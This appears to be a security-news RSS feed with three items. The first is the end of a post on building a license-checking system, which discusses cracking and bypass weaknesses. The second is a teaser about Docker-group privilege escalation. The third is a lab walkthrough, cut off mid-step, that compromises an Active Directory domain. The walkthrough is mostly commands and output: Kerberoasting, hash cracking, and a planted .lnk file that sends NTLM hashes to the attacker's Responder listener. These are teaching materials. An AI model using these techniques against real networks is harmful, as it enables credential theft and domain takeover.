self._license_token = new_token<br>            self.db_manager.save_setting("license_token", new_token, "license")<br>            self.db_manager.save_setting(<br>                "last_license_check_time", time.time(), "license"<br>            )<br>        else:<br>            self._clear_local()   # Server returned invalid token - deactivate<br>    except urllib.error.HTTPError as e:<br>        if e.code in (401, 403, 404):<br>            self._clear_local()   # Explicit server rejection - deactivate immediately<br>        # 5xx, connection timeout: server down or network unavailable<br>        # Do NOT deactivate - user gets full 7-day grace period<br>    except Exception:<br>        pass   # Any other error: fail open, try again next cycle</pre><p>The error handling is the most important part of this function. Three distinct outcomes:</p><p><strong>HTTP 401/403/404</strong> — the server explicitly rejected the request. The API key is invalid, revoked, or deleted. Deactivate immediately, clear all local credentials.</p><p><strong>HTTP 5xx / connection error / timeout</strong> — the server is temporarily unavailable. Do nothing. The local token is still valid (Ed25519 + expiry check passed on startup). The user retains full access for the remainder of the token’s TTL. This is the correct behaviour: a server outage should never disrupt legitimate users.</p><p><strong>Valid fresh token returned</strong> — refresh the cache. The new token extends the TTL another 7 days, so an online user’s activation effectively never expires.</p><h3>The Feature Gate</h3><p>Every Pro-only code path in the UI calls one property:</p><pre>@property<br>def is_max_activated(self) -&gt; bool:<br>    # In-memory boolean — no I/O, no crypto<br>    with self.lock:<br>        return self._is_max</pre><p>This is intentionally the simplest possible check. The reasoning is performance: is_max_activated is evaluated on every frame of the real-time preview slider. Token verification using Ed25519 takes 0.5–2ms per call. At 60fps, continuous verification would consume up to 120ms/second on crypto alone — enough to cause visible frame drops.</p><p>The expensive verification happens once on startup and once per 24-hour background cycle. The in-memory boolean is the hot path, protected by a standard mutex for thread safety (the background recheck thread writes to _is_max from a different thread).</p><p>Feature gating at detection mode selection:</p><pre>def on_detection_change(self):<br>    mode = self.detection_mode.get()<br>    pro_only_modes = ['target_text', 'text', 'body', 'license_plate']<br><br>if mode in pro_only_modes and not self.license_manager.is_max_activated:<br>        QMessageBox.information(<br>            self, "Pro Feature",<br>            f"'{mode.replace('_', ' ').title()}' detection requires DotScramble Pro."<br>        )<br>        self.detection_mode.set("face")  # Reset to free tier default</pre><p>Feature gating at save time:</p><pre>is_max       = self.license_manager.is_max_activated<br>should_scrub = is_max and self.scrub_exif.get()<br>should_spoof = is_max and self.spoof_metadata.get() and not should_scrub</pre><p>Metadata operations (EXIF spoofing, scrubbing) are Pro-only features. The gate is evaluated at save time, not at button click — preventing race conditions where the UI state and license state could diverge.</p><h3>Source Protection via Cython</h3><p>Python source is trivially patchable. Given _is_max:</p><pre># Original<br>return self._is_max<br><br># Patched in 3 seconds<br>return True</pre><p>Mitigation: compile license_manager.py to a native shared library using Cython. The build script:</p><pre>from setuptools import setup, Extension<br>from Cython.Build import cythonize<br><br>extensions = [<br>    Extension(<br>        "src.managers.license_manager",<br>        sources=["src/managers/license_manager.py"],<br>        extra_compile_args=["-O2"],<br>    )<br>]<br>setup(<br>    name="dotscramble_license",<br>    ext_modules=cythonize(<br>        extensions,<br>        compiler_directives={<br>            "embedsignature":      False,  # Strip readable function signatures<br>            "emit_code_comments":  False,  # No source hints in binary<br>            "language_level":      "3",<br>            "boundscheck":         False,<br>            "wraparound":          True,<br>        },<br>    ),<br>)</pre><p>Build:</p><pre>python setup_license.py build_ext --inplace<br># → src/managers/license_manager.cpython-313-x86_64-linux-gnu.so</pre><p>The original .py is removed from the distribution. Python's import system finds the .so automatically — no import path changes required.</p><p>The compiled binary is a real ELF shared library. Patching it requires disassembling x86_64 machine code, locating the boolean return instruction in the JIT-compiled method, and modifying it in a hex editor or with a binary patcher. This is not impossible, but the skill floor is substantially higher than editing a Python file. Combined with the Ed25519 enforcement — which cannot be bypassed by patching the client — the effort/reward ratio for cracking exceeds the cost of a legitimate license for most users.</p><blockquote><strong><em>Platform note:</em></strong><em> Cython produces platform-specific binaries. </em><em>cpython-313-x86_64-linux-gnu.so runs only on Linux x86_64 with CPython 3.13. Cross-platform distribution requires separate build steps on Linux, Windows, and macOS — standard practice for any CI pipeline with multi-platform targets.</em></blockquote><h3>Known Limitations and Attack Surfaces</h3><p><strong>The public key is in the binary.</strong> This is by design — the public key is <em>meant</em> to be public. It cannot be used to forge tokens. An attacker who extracts it gains nothing.</p><p><strong>Container and VM bypass.</strong> In environments where /etc/machine-id can be freely set (Docker, LXC, VMs with snapshot/rollback), the machine fingerprint can be cloned. Mitigation: the server-side 2-machine activation limit constrains this — each cloned ID counts as a new activation.</p><p><strong>Binary patching still possible.</strong> Cython raises the bar but doesn’t eliminate it. A sufficiently motivated attacker with a disassembler can still find and patch the boolean return in the .so. The actual security comes from Ed25519 — even a patched client that claims is_max = True can't forge a valid token, so server-enforced features (recheck, machine limit) remain intact.</p><p><strong>Clock rollback detection has a window.</strong> The check compares time.time() against a stored SQLite timestamp. An attacker who modifies the SQLite database <em>before</em> running the app could plant a fake last_license_check_time far in the future, then roll the clock back while keeping time.time() &gt; stored_time. Mitigation: the SQLite database is in the user's home directory and not encrypted — for high-value deployments, a tamper-evident store (e.g. macOS Keychain, Linux Secret Service) would be more appropriate.</p><p><strong>No mutual TLS.</strong> The /v1/license/activate and /v1/license/recheck calls use standard HTTPS. The server's certificate is verified by the system CA store. A machine with a compromised CA store (corporate MITM proxy, malware-installed root) could intercept and modify these responses. This is a general HTTPS limitation, not specific to this design.</p><h3>Design Decisions — What Was Intentionally Excluded</h3><p><strong>Online-only enforcement.</strong> Requiring a network check on every launch would break offline use. Planes, hotel Wi-Fi captive portals, corporate proxies, server downtime — all of these would result in failed launches for paying customers. The 7-day grace period with background recheck is the correct trade-off.</p><p><strong>Aggressive telemetry.</strong> The only data sent to the server is the machine ID and API key. No usage statistics, no feature telemetry, no file names, no behavioral data. DotScramble is a privacy tool. Telemetry would be self-contradicting.</p><p><strong>Obfuscating the public key.</strong> Pointless security theatre. The public key is designed to be known. Wrapping it in XOR or base64-of-base64 adds no security and significant code smell.</p><p><strong>Binding to MAC address only.</strong> MAC addresses are trivially spoofed on Linux (ip link set dev eth0 address XX:XX:XX:XX:XX:XX) and may be randomized by default. Using /etc/machine-id as the primary anchor is more stable and harder to spoof without root access.</p><h3>Summary</h3><p>DotScramble’s license system implements a minimal but sound cryptographic design:</p><ul><li><strong>Ed25519 asymmetric signing</strong> ensures tokens cannot be forged without the server’s private key, regardless of how thoroughly the client binary is reversed.</li><li><strong>Weighted machine fingerprinting</strong> using OS-level hardware identifiers provides stable, cross-platform machine binding that survives network changes and VPN usage.</li><li><strong>SQLite-cached token with startup re-verification</strong> enables offline use without any network dependency on launch.</li><li><strong>7-day TTL with 24-hour background recheck</strong> gives legitimate offline users a comfortable grace window while ensuring revoked keys are detected within a day of the machine coming online.</li><li><strong>Cython compilation</strong> raises the practical bar against source patching, complementing but not replacing the cryptographic enforcement.</li></ul><p>The design is appropriate for a solo-developed privacy tool. It is not appropriate for enterprise software protecting high-value IP — that use case warrants hardware dongles, TPM attestation, or a full code-signing/attestation pipeline.</p><p><strong>GitHub:</strong> <a href="https://github.com/kareem2099/DotScramble">github.com/kareem2099/DotScramble</a><br><strong>OpenDesktop:</strong> <a href="https://www.opendesktop.org/p/2362477/">opendesktop.org/p/2362477</a><br><strong>License:</strong> Apache 2.0</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=d8dd5678e1cb" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/asymmetric-signing-machine-fingerprinting-and-offline-grace-periods-building-a-license-system-d8dd5678e1cb">Asymmetric Signing, Machine Fingerprinting, and Offline Grace Periods: Building a License System…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Being in the Docker Group Is a Backdoor to Your Whole System]]></title>
<description><![CDATA[If you’ve worked with Docker on Linux, you’ve probably encountered this command at least once:Continue reading on InfoSec Write-ups »]]></description>
<link>https://tsecurity.de/de/3638145/hacking/why-being-in-the-docker-group-is-a-backdoor-to-your-whole-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638145/hacking/why-being-in-the-docker-group-is-a-backdoor-to-your-whole-system/</guid>
<pubDate>Wed, 01 Jul 2026 12:21:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://infosecwriteups.com/why-being-in-the-docker-group-is-a-backdoor-to-your-whole-system-4ebf56f385e3"><img src="https://cdn-images-1.medium.com/max/1536/1*Sl4OmgauvWjpL_Yub3Xcgw.png" width="1536"></a></p><p class="medium-feed-snippet">If you’ve worked with Docker on Linux, you’ve probably encountered this command at least once:</p><p class="medium-feed-link"><a href="https://infosecwriteups.com/why-being-in-the-docker-group-is-a-backdoor-to-your-whole-system-4ebf56f385e3">Continue reading on InfoSec Write-ups »</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hack Smarter — City Council (Active Directory)]]></title>
<description><![CDATA[Hack Smarter - City Council (Active Directory)Can an application for public service requests lead to full domain compromise? You would probably say no. But you’re wrong. And I am going to show you why.● Discovering the service accountWe were given only an IP address to start from. So I launched a...]]></description>
<link>https://tsecurity.de/de/3638144/hacking/hack-smarter-city-council-active-directory/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638144/hacking/hack-smarter-city-council-active-directory/</guid>
<pubDate>Wed, 01 Jul 2026 12:21:41 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Hack Smarter - City Council (Active Directory)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eddEkzGamUsumsIAEyvC-Q.png"></figure><p>Can an application for public service requests lead to full domain compromise? You would probably say no. But you’re wrong. And I am going to show you why.</p><p><strong><em>● Discovering the service account</em></strong></p><p>We were given only an IP address to start from. So I launched a scan to see which ports were open and which services were available.</p><pre>rustscan -a 10.1.65.124 -- -A</pre><p>I used <em>rustscan</em> because I like the option to pass <em>nmap</em> flags directly for the open ports. The scan revealed the following results:</p><pre>PORT      STATE SERVICE       REASON  VERSION<br>53/tcp    open  domain        syn-ack Simple DNS Plus<br>80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0<br>| http-methods: <br>|   Supported Methods: OPTIONS TRACE GET HEAD POST<br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: City Hall - Your Local Government<br>88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-04-07 16:20:34Z)<br>135/tcp   open  msrpc         syn-ack Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: city.local0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds? syn-ack<br>464/tcp   open  kpasswd5?     syn-ack<br>593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped    syn-ack<br>3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: city.local0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped    syn-ack<br>3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=DC-CC.city.local<br>| Issuer: commonName=DC-CC.city.local<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2026-02-26T17:26:36<br>| Not valid after:  2026-08-28T17:26:36<br>| MD5:   6b9a:3a36:385d:f60a:43ef:3281:cafa:50fb<br>| SHA-1: b9ad:bca4:bad8:52b8:732f:3307:7b4b:d035:f389:3ce2<br>| -----BEGIN CERTIFICATE-----<br>...<br>|_-----END CERTIFICATE-----<br>| rdp-ntlm-info: <br>|   Target_Name: CITY<br>|   NetBIOS_Domain_Name: CITY<br>|   NetBIOS_Computer_Name: DC-CC<br>|   DNS_Domain_Name: city.local<br>|   DNS_Computer_Name: DC-CC.city.local<br>|   DNS_Tree_Name: city.local<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2026-04-07T16:21:30+00:00<br>|_ssl-date: 2026-04-07T16:21:41+00:00; 0s from scanner time.<br>5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>9389/tcp  open  mc-nmf        syn-ack .NET Message Framing<br>47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>49664/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49665/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49666/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49668/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49669/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>49670/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49671/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49676/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49677/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49680/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49698/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49709/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49716/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>Service Info: Host: DC-CC; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><p>After adding the corresponding entries to <em>/etc/hosts</em>, I started with the most interesting items I found, the shared drives (port 445) and the website (port 80).</p><p>Unfortunately, anonymous login didn’t reveal any shared drive, so I had to leave that for the moment.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $smbclient -L \\\\city.local<br><br>Password for [WORKGROUP\rootshellace]:<br>Anonymous login successful<br><br> Sharename       Type      Comment<br> ---------       ----      -------<br>Reconnecting with SMB1 for workgroup listing.<br>do_connect: Connection to city.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)<br>Unable to connect with SMB1 -- no workgroup available</pre><p>Since I didn’t get anything useful, I started browsing the website, looking for possible attack paths. An initial scan with <em>gobuster</em> revealed a sub-directory named uploads. This was useful in a later step.</p><pre>Starting gobuster in directory enumeration mode<br>===============================================================<br>/index.html           (Status: 200) [Size: 24118]<br>/uploads              (Status: 301) [Size: 149] [--&gt; http://city.local/uploads/]<br>Progress: 4614 / 4615 (99.98%)</pre><p>The website didn’t look very interesting until I got to a page where you could download an application, for both Linux and Windows, to submit various form requests. The executables were available here: http://city.local/documents-forms.html.</p><p>I ran strings on both files, in an attempt to find possible hard-coded elements. I found a token and something looking like a hash, but couldn’t do anything with them.</p><p>The next step I took was to simulate submitting a dummy request from the app and see what happens. Now, here is where I found the first handy item. The application had a logging screen and the name of a used service account was displayed.</p><pre>[20:12:06] Application form loaded. Please complete all required fields.<br>[20:12:06] Service: Public Works Service Request<br>[20:12:06] System ready for form validation and processing.<br>[20:12:59] Validating application form...<br>[20:12:59] Connecting to City Council Directory Services...<br>[20:12:59] Using dedicated service account: svc_services_portal<br>[20:13:01] Performing LDAP bind request - Portal Service Authentication...<br>[20:13:02] Performing Search: citizen records database...<br>[20:13:03] Performing Validate: application eligibility criteria...<br>[20:13:04] Performing Update: service request tracking system...<br>[20:13:05] Performing Log: public services audit trail...<br>[20:13:05] Performing Verify: resident information consistency...<br>[20:13:06] Performing Process: automated workflow routing...<br>[20:13:07] Performing Update: municipal service database...<br>[20:13:07] Authenticating service account with DC-CC.city.local...<br>[20:13:07] ✓ Directory service authentication completed<br>[20:13:07] ✓ Application validated successfully<br>[20:13:07] ✓ Service request processed and logged<br>[20:13:07] ✓ Workflow routing completed<br>[20:13:07] ✓ Database update successful</pre><p>I tested svc_services_portal user with an empty password. The test failed, but it confirmed I got a valid user.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u svc_services_portal -p ''<br><br>SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124    445    DC-CC            [-] city.local\svc_services_portal: STATUS_LOGON_FAILURE </pre><p><strong><em>● Obtaining the password for the service account</em></strong></p><p>I initially tried to use as a password the token I found using strings, but it didn’t work. So, how do we get the password?</p><p>Since the authentication was done automatically when executing the app locally, I intercepted the traffic using Wireshark, then followed the corresponding stream and got the password for the service account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6MNjuO144ltU9jXl_7xDHw.png"><figcaption>Password for service account</figcaption></figure><p>I tested the credential pair and got the confirmation that they are valid.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u svc_services_portal -p &lt;REDACTED&gt;<br>SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124    445    DC-CC            [+] city.local\svc_services_portal:&lt;REDACTED&gt; </pre><p><strong><em>● Get the Active Directory structure using BloodHound</em></strong></p><p>Having a valid pair of credentials, I used it to get an idea of how Active Directory was structured for that entity.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $bloodhound-python -u svc_services_portal -p &lt;REDACTED&gt; -ns 10.1.65.124 -d city.local -c All</pre><p>Once I obtained the archive containing the <em>.json</em> files, I imported it in <em>BloodHound</em>. I checked if svc_services_portal had any interesting permissions or was part of any useful groups, but nothing came up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*2EfWKtUdVHy_G0OzCXYw2w.png"><figcaption>BloodHound info on svc_services_portal</figcaption></figure><p>This account looked like a dead end, so I moved on checking if there were any Kerberoastable users. I found clerk.john.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*WapDTB7h6wV3KZYzrldu9Q.png"><figcaption>Kerberoastable users</figcaption></figure><p><strong><em>● Get access as </em></strong><strong><em>clerk.john</em></strong></p><p>The first step was to get the Kerberos hash for this user. I used <em>GetUserSPNs</em> script from <em>impacket.</em></p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $impacket-GetUserSPNs city.local/svc_services_portal:&lt;REDACTED&gt; -dc-ip 10.1.65.124 -request</pre><p>Once I got it, I passed it to <em>john</em> to crack it.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt john_clerk_hash_krb.txt <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])<br>Will run 4 OpenMP threads<br>Press 'q' or Ctrl-C to abort, almost any other key for status<br>&lt;REDACTED&gt;        (?)     <br>1g 0:00:00:02 DONE (2026-04-07 21:37) 0.3816g/s 729306p/s 729306c/s 729306C/s clouds96..clenol<br>Use the "--show" option to display all of the cracked passwords reliably<br>Session completed. </pre><p>To make sure the password was OK, I tested the credentials.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u clerk.john -p &lt;REDACTED&gt;<br>SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124    445    DC-CC            [+] city.local\clerk.john:&lt;REDACTED&gt; </pre><p>I went back to <em>BloodHound</em> to verify this new user, but it didn’t have any useful access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*HSbgpYh3N5f920xjcX15Ig.png"><figcaption>BloodHound info on clerk.john</figcaption></figure><p><strong><em>● Get access as </em></strong><strong><em>jon.peters</em></strong></p><p>Because BloodHound didn’t reveal any lead, I went back to the shared drives and enumerated again, this time as clerk.john.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $smbclient -L \\city.local -U clerk.john<br>Password for [WORKGROUP\clerk.john]:<br><br> Sharename       Type      Comment<br> ---------       ----      -------<br> ADMIN$          Disk      Remote Admin<br> Backups         Disk      <br> C$              Disk      Default share<br> IPC$            IPC       Remote IPC<br> NETLOGON        Disk      Logon server share <br> SYSVOL          Disk      Logon server share <br> Uploads         Disk      <br>Reconnecting with SMB1 for workgroup listing.<br>do_connect: Connection to city.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)<br>Unable to connect with SMB1 -- no workgroup available</pre><p>Well, better than anonymous login, at least I had something to work with. On Backups drive I got a <em>Permission Denied</em> error when attempting to connect, but I was able to map the Uploads directory. Inside, among other files, I found an email from <em>Emma Hayes</em>. It was mentioned that write access was granted to <em>Jon Peters</em> on this drive and NTLM authentication was used.</p><p>The next step was to start a listener, with <em>responder</em>, on the VPN interface I was using for the challenge.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $sudo responder -I tun0</pre><p>Then, I created a fake <em>.lnk</em> file, using ntlm_theft.py - available <a href="https://github.com/Greenwolf/ntlm_theft"><em>here</em></a></p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $python3 ~/Tools/ntlm_theft/ntlm_theft.py -g lnk -s &lt;MY_VPN_IP&gt; -f fake_note</pre><p>Finally, I deployed it on the Uploads shared drive. After a couple of seconds, in the terminal where the listener was launched, I got the NTLMv2 hash for jon.peters.</p><pre>[SMB] NTLMv2-SSP Client   : 10.1.65.124<br>[SMB] NTLMv2-SSP Username : CITY\jon.peters<br>[SMB] NTLMv2-SSP Hash     : &lt;REDACTED&gt;</pre><p>I went back to <em>john</em>, to crack this new hash and obtain the corresponding password.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $john jon_peters_ntlm_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])<br>Will run 4 OpenMP threads<br>Press 'q' or Ctrl-C to abort, almost any other key for status<br>&lt;REDACTED&gt;   (jon.peters)     <br>1g 0:00:00:10 DONE (2026-06-26 15:28) 0.09451g/s 1260Kp/s 1260Kc/s 1260KC/s 1234ถ6789..1234dork<br>Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably<br>Session completed. </pre><p>Again, I wanted to verify if the login was OK.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u jon.peters -p &lt;REDACTED&gt;<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\jon.peters:&lt;REDACTED&gt; </pre><p>I got the confirmation that everything was fine with the access for this user.</p><p><strong><em>● Lateral movement to </em></strong><strong><em>nina.soto</em></strong></p><p>Since I obtained a new set of credentials, I returned to <em>BloodHound</em> to see what I could find. Still no useful group membership, but jon.peters had GenericWrite access on 3 different users: maria.clerk, paul.roberts and nina.soto .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Euh5T9ZLRXIRxmgWwReAQA.png"><figcaption>BloodHound info on Jon Peters</figcaption></figure><p>I used targetedKerberoast.py tool (available <a href="https://github.com/ShutdownRepo/targetedKerberoast"><em>here</em></a>) to obtain the Kerberos hash for these 3 users.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $~/Tools/targetedKerberoast/targetedKerberoast.py -v -d 'city.local' -u 'jon.peters' -p '&lt;REDACTED&gt;' --dc-ip 10.1.65.124</pre><p>Then, passed all 3 hashes to <em>john</em>, for cracking.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $john --format=krb5tgs three_hash_krb.txt --wordlist=/usr/share/wordlists/rockyou.txt<br>Using default input encoding: UTF-8<br>Loaded 3 password hashes with 3 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])<br>Will run 4 OpenMP threads<br>Press 'q' or Ctrl-C to abort, almost any other key for status<br>&lt;MARIA_PWD_REDACTED&gt;    (?)     <br>&lt;NINA_PWD_REDACTED&gt;     (?)     <br>2g 0:00:00:20 DONE (2026-06-26 15:58) 0.09652g/s 692266p/s 1614Kc/s 1614KC/s !!12Honey..*7¡Vamos!<br>Use the "--show" option to display all of the cracked passwords reliably<br>Session completed. </pre><p>I was able to get the passwords only for 2 of the 3 users. However, it was something I could work with. But I had to test them before, to confirm they were OK, and the confirmation came.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u maria.clerk -p &lt;REDACTED&gt;<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\maria.clerk:&lt;REDACTED&gt; <br>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u nina.soto -p &lt;REDACTED&gt;<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\nina.soto:&lt;REDACTED&gt; </pre><p><strong><em>● Pivoting from </em></strong><strong><em>emma.hayes to </em></strong><strong><em>sam.brooks and getting the user flag</em></strong></p><p>I reexamined the shared drive permissions, this time with the 2 new found accounts. Although maria.clerk didn’t have anything interesting, for nina.soto , I noticed there was <em>read access</em> on Backups.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $smbmap -u nina.soto -p &lt;REDACTED&gt; -H city.local<br><br>    ________  ___      ___  _______   ___      ___       __         _______<br>   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\<br>  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)<br>   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/<br>    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /<br>   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \<br>  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)<br>-----------------------------------------------------------------------------<br>SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com<br>                     https://github.com/ShawnDEvans/smbmap<br><br>[*] Detected 1 hosts serving SMB                                                                                                  <br>[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          <br>                                                                                                                             <br>[+] IP: 10.1.65.124:445 Name: city.local           Status: Authenticated<br> Disk                                                   Permissions Comment<br> ----                                                   ----------- -------<br> ADMIN$                                             NO ACCESS Remote Admin<br> Backups                                            READ ONLY <br> C$                                                 NO ACCESS Default share<br> IPC$                                               READ ONLY Remote IPC<br> NETLOGON                                           READ ONLY Logon server share <br> SYSVOL                                             READ ONLY Logon server share <br> Uploads                                            NO ACCESS <br>[*] Closed 1 connections                                                                                </pre><p>I connected to that shared drive and found some backup profiles for clerk.john and sam.brooks. I downloaded them on my local machine. Initially, the download of the file for clerk.john was failing due to a timeout error, but I managed to fix this by adding -m SMB2 parameter to the initial <em>smbclient</em> command.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $smbclient \\\\city.local\\Backups -U nina.soto<br>Password for [WORKGROUP\nina.soto]:<br>Try "help" to get a list of possible commands.<br>smb: \&gt; dir<br>  .                                   D        0  Thu Oct 30 18:55:14 2025<br>  ..                                  D        0  Thu Oct 30 18:55:14 2025<br>  Documents Backup                   Dn        0  Thu Oct 30 18:55:14 2025<br>  UserProfileBackups                 Dn        0  Thu Oct 30 20:55:27 2025<br><br>  12966143 blocks of size 4096. 8391255 blocks available<br>smb: \&gt; cd UserProfileBackups<br>smb: \UserProfileBackups\&gt; dir<br>  .                                  Dn        0  Thu Oct 30 20:55:27 2025<br>  ..                                 Dn        0  Thu Oct 30 20:55:27 2025<br>  clerk.john_ProfileBackup_0729.wim     An 69883158  Thu Oct 30 18:23:22 2025<br>  sam.brooks_ProfileBackup_0728.wim      A   130326  Thu Oct 30 20:55:12 2025<br><br>  12966143 blocks of size 4096. 8391254 blocks available<br>smb: \UserProfileBackups\&gt; get sam.brooks_ProfileBackup_0728.wim<br>getting file \UserProfileBackups\sam.brooks_ProfileBackup_0728.wim of size 